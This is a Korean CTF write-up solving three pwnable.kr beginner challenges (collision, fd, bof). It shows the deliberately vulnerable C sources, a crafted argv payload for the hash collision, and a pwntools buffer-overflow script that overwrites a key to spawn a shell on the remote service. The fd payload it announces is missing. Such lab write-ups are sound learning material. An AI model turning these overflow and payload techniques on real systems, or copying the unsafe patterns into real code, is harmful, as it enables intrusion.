<collision>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | #include <stdio.h> #include <string.h> unsigned long hashcode = 0x21DD09EC; unsigned long check_password(const char* p){ int* ip = (int*)p; int i; int res=0; for(i=0; i<5; i++){ res += ip[i]; } return res; } int main(int argc, char* argv[]){ if(argc<2){ printf("usage : %s [passcode]\n", argv[0]); return 0; } if(strlen(argv[1]) != 20){ printf("passcode length should be 20 bytes\n"); return 0; } if(hashcode == check_password( argv[1] )){ system("/bin/cat flag"); return 0; } else printf("wrong passcode.\n"); return 0; } | cs |
20글자를 입력받는다.
int형은 4byte이므로 char형인 문자 하나가 4개씩들어간다.
즉, int형 ip배열원소 하나에 문자가 4개씩 5번들어간다는 것이다.
즉, hashcode / 5를 해서 값을 전달하면 된다는것.
payload = ./col `python -c 'print "\xc8\xce\xc5\x06"*4+"\xcc\xce\xc5\x06"'`
<fd>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | #include <stdio.h> #include <stdlib.h> #include <string.h> char buf[32]; int main(int argc, char* argv[], char* envp[]){ if(argc<2){ printf("pass argv[1] a number\n"); return 0; } int fd = atoi( argv[1] ) - 0x1234; int len = 0; len = read(fd, buf, 32); if(!strcmp("LETMEWIN\n", buf)){ printf("good job :)\n"); system("/bin/cat flag"); exit(0); } printf("learn about Linux file IO\n"); return 0; } | cs |
fd란 파일디스크럽터로, 0이면 표준입력, 1이면 표준출력, 2면 표준 에러이다.
즉 우리는 LETMEWIN을 입력해야 하므로 fd를 0으로 맞추면 되는 문제이다.
0x1234는 10진수로 4660이므로, payload는 다음과 같다.
<bof>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | #include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; } | cs |
간단한 bof문제이다. 버퍼오버플로우가 가능하므로 0xdeadbeef가 들어가는 위치에다가 값을 0xcafebabe로 전달시켜주면 끝!
1 2 3 4 5 6 7 8 9 10 11 | from pwn import * r = remote("pwnable.kr",9000) payload = '' payload += 'A'*52 payload += p32(0xCAFEBABE) r.sendline(payload) r.interactive() | cs |
토들러 복습용으로 간단하게 3문제를 풀어보았다.
참 쉽죠?